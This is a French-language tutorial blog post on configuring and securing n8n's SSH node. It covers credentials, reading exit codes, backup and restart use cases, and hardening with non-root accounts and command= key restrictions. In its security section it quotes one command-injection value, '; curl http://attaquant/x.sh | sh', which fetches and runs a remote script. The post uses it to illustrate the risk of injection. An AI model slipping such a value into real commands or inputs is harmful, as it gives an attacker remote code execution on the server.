Le node SSH de n8n : piloter un serveur distant depuis vos workflows

Certains travaux n'ont pas d'API : relancer un service après un déploiement, déclencher un script de sauvegarde sur un VPS, lire l'espace disque restant avant qu'il ne soit trop tard. Le node SSH de n8n comble ce vide : il ouvre une session vers une machine distante, y exécute une commande, et vous rend stdout, stderr et le code de retour. Il sait aussi déposer et récupérer un fichier. Ce guide couvre la configuration exacte du node, les credentials par mot de passe ou par clé, quatre cas d'usage concrets, et une section sécurité qu'il serait imprudent de survoler.

Ce que fait le node SSH

Le node n8n-nodes-base.ssh expose trois opérations, réparties entre une ressource Command et une ressource File :

• Execute Command — exécute une commande shell sur le serveur distant. Paramètres : Credential to connect with, Command, Working Directory (le répertoire de travail, / par défaut).
• Download File — récupère un fichier distant. Paramètres : Path (qui doit inclure le nom du fichier), File Property (le nom de la propriété binaire dans laquelle déposer le contenu), et une option File Name pour renommer au passage.
• Upload File — envoie un fichier vers le serveur. Paramètres : Input Binary Field, Target Directory, et la même option File Name.

Un point souvent raté sur l'upload : le node n'a pas de champ « contenu ». Il attend une donnée binaire déjà présente sur l'item. Il faut donc la produire en amont, avec un node Read/Write Files from Disk, un node HTTP Request en mode fichier, ou un node Convert to File si vous partez de JSON.

Deux nodes qu'on confond souvent : SSH, Execute Command, SFTP

La différence tient en une phrase : où la commande s'exécute.

Le node Execute Command lance la commande sur la machine ou dans le conteneur qui héberge n8n. C'est pratique pour un outil installé localement, mais cela suppose une instance self-hosted, une image Docker enrichie, et cela expose votre instance. Le node SSH, lui, sort du périmètre de n8n : il parle à une autre machine, par le réseau. Conséquence directe et souvent ignorée : le node SSH fonctionne aussi sur n8n Cloud, puisqu'il n'exécute rien localement.

Face au node SFTP, la ligne de partage est fonctionnelle. SFTP est un client de fichiers complet (lister, supprimer, renommer, transférer) qui s'appuie lui aussi sur SSH. Le node SSH ne fait que Download et Upload, mais il sait exécuter une commande — ce que SFTP ne fera jamais. En pratique, on utilise SSH quand le fichier n'est qu'un sous-produit d'une commande : générer un dump, puis le rapatrier.

Configurer la credential : mot de passe ou clé privée

n8n propose deux méthodes d'authentification, avec des champs distincts.

Password demande Host, Port (22 par défaut), Username et Password. C'est le chemin le plus rapide, et le seul que vous devriez réserver à un lab jetable.

Private Key demande Host, Port, Username, Private Key — le contenu intégral du fichier de clé, lignes -----BEGIN OPENSSH PRIVATE KEY----- et -----END ...----- comprises — et une Passphrase facultative.

Générez une paire dédiée, jamais votre clé personnelle :

ssh-keygen -t ed25519 -f ~/.ssh/n8n_backup -C "n8n-backup" -N ""
ssh-copy-id -i ~/.ssh/n8n_backup.pub deploy@votre-serveur

Le contenu de ~/.ssh/n8n_backup (la clé privée) va dans la credential n8n ; la clé publique reste sur le serveur. Rappel utile : les credentials n8n sont chiffrées au repos avec la clé d'instance — c'est exactement pourquoi la sauvegarde de cette clé de chiffrement conditionne la restauration, et pourquoi les bonnes pratiques de gestion des credentials s'appliquent ici avec une acuité particulière : une credential SSH, c'est un accès shell.

Lire le résultat : stdout, stderr et code de retour

L'opération Execute Command renvoie un item contenant la sortie standard, la sortie d'erreur et le code de retour du processus distant :

{
  "stdout": "/dev/vda1  80G  41G  36G  54% /",
  "stderr": "",
  "code": 0
}

Trois réflexes :

1. Testez le code de retour, pas stderr. Un node If derrière le node SSH, branche d'erreur si le code diffère de 0. Beaucoup d'outils (rsync, pg_dump, apt) écrivent des messages parfaitement normaux sur stderr ; s'y fier produit des faux positifs en série.
2. stdout est du texte brut. Faites produire du JSON à votre script distant (df -h --output=pcent / | tail -1, ou mieux un script qui echo un objet JSON) puis parsez avec un node Code : JSON.parse($json.stdout).
3. Chaînez avec &&. cd /srv/app && ./backup.sh s'interrompt si le cd échoue ; avec ;, le script s'exécuterait au mauvais endroit.

Enfin, une connexion SSH peut échouer pour des raisons qui n'ont rien à voir avec votre commande : réseau, clé refusée, hôte indisponible. Branchez un error workflow sur ces workflows, sinon un serveur injoignable la nuit passera inaperçu jusqu'au matin.

Quatre cas d'usage qui justifient le node à eux seuls

Sauvegarde planifiée d'un VPS. Un Schedule Trigger à 3 h, un node SSH qui lance /usr/local/bin/backup.sh, un node If sur le code de retour, une notification en cas d'échec. C'est le workflow le plus rentable qu'on puisse écrire sur un VPS auto-hébergé.

Rapatriement d'un dump de base. Deux nodes SSH en série : le premier exécute pg_dump -Fc mabase > /tmp/dump.pgc, le second fait un Download File sur /tmp/dump.pgc. Le fichier binaire obtenu part ensuite vers S3, Drive ou un stockage froid — l'ossature d'une vraie stratégie de sauvegarde PostgreSQL.

Redémarrage de service après déploiement. Un webhook déclenché par votre CI, un node SSH qui joue systemctl --user restart monapp, puis un curl -sf https://monapp/health de vérification dans une seconde commande. Si le health check échoue, le workflow alerte.

Collecte de métriques système. df -h, free -m, uptime sur une poignée de serveurs, agrégés dans un node Code et envoyés vers votre outil de supervision d'instance. C'est du monitoring sans agent — modeste, mais opérationnel en dix minutes.

Sécurité : la partie qu'il ne faut pas sauter

Une credential SSH stockée dans n8n est un accès shell permanent à votre infrastructure. Le contexte n'incite pas à la légèreté : l'étude longitudinale de Cristian Munteanu, Yogesh Bhargav Suriyanarayanan, Georgios Smaragdakis, Anja Feldmann et Tobias Fiebig, Attacks Come to Those Who Wait: Long-Term Observations in an SSH Honeynet (ACM Internet Measurement Conference, 2025 — voir sur Google Scholar), analyse trois années de trafic sur un honeynet SSH et documente une évolution nette des attaquants vers des comportements plus exploratoires, au-delà de l'exécution aveugle de scripts. Autrement dit : un port 22 exposé n'est pas seulement balayé, il est examiné.

Utilisez un compte non-root. Créez un utilisateur deploy ou n8n-agent dédié, dont les droits couvrent strictement ce que le workflow doit faire. Si une commande précise exige des privilèges, accordez-la finement via sudoers (deploy ALL=(root) NOPASSWD: /bin/systemctl restart monapp) plutôt que de donner un shell root.

Restreignez la clé à une seule commande. C'est la protection la plus efficace et la plus sous-utilisée. Dans ~/.ssh/authorized_keys du compte distant, préfixez la clé publique par une directive command= :

command="/usr/local/bin/backup.sh",no-port-forwarding,no-agent-forwarding,no-pty ssh-ed25519 AAAAC3Nza... n8n-backup

Avec cette ligne, la clé ne peut rien exécuter d'autre que /usr/local/bin/backup.sh, quelle que soit la commande envoyée par n8n. Si la credential fuite, le pire scénario devient : quelqu'un déclenche votre sauvegarde. Cette discipline répond directement au problème documenté par Tatu Ylönen dans SSH Key Management Challenges and Requirements (NTMS, 2019 — voir sur Google Scholar) : dans les grandes organisations, les clés autorisées s'accumulent sans inventaire ni cycle de vie, et personne ne sait plus quel accès ouvre quoi. Nommez vos clés (-C "n8n-backup"), tenez la liste, et supprimez celles des workflows retirés.

N'interpolez jamais une entrée utilisateur dans la commande. Le champ Command accepte les expressions n8n, et c'est là que tout se joue. Une valeur venue d'un webhook, d'un formulaire ou d'un email qui contiendrait ; curl http://attaquant/x.sh | sh serait exécutée sans état d'âme. Les travaux fondateurs de Zhendong Su et Gary Wassermann, The Essence of Command Injection Attacks in Web Applications (POPL, 2006 — voir sur Google Scholar), ont formalisé le mécanisme : l'injection réussit dès que l'entrée modifie la structure syntaxique de la commande, pas seulement ses valeurs. Trois parades cumulables : valider en amont par liste blanche dans un node Code (/^[a-zA-Z0-9._-]+$/), passer la donnée par l'entrée standard ou un fichier plutôt qu'en argument, et surtout verrouiller la clé avec command= — la seule protection qui tienne même si la validation échoue.

Journalisez et surveillez. Côté serveur, /var/log/auth.log trace chaque connexion : conservez-le et faites-le remonter. Côté n8n, limitez qui peut ouvrir la credential SSH via les rôles et permissions — sur une instance partagée, un utilisateur capable d'éditer un workflow SSH est un utilisateur capable d'exécuter du shell sur votre production. Les tentatives d'accès anormales méritent d'être traitées comme n'importe quel signal de sécurité, et un workflow de tri d'alertes fait très bien le travail de premier filtre.

En résumé

Le node SSH transforme n8n en chef d'orchestre de vos serveurs : Execute Command pour lancer une commande et récupérer stdout, stderr et le code de retour, Download File et Upload File pour les échanges de fichiers, le tout disponible en Cloud comme en self-hosted puisque rien ne s'exécute localement. Trois règles à graver : authentification par clé dédiée plutôt que par mot de passe, compte non-root avec directive command= dans authorized_keys, et zéro donnée externe interpolée dans le champ Command.

Pour aller plus loin

Si vos workflows SSH touchent des serveurs qui hébergent des données clients, le Pack Conformité & Audit (149 €) fournit la piste d'audit qui trace ces opérations sensibles — qui a lancé quoi, quand, avec quel résultat. Et si vous automatisez déjà le traitement de vos demandes entrantes avant de déclencher des actions serveur, le Pack Inbox IA (79 €) s'installe naturellement en amont de ce type de chaîne.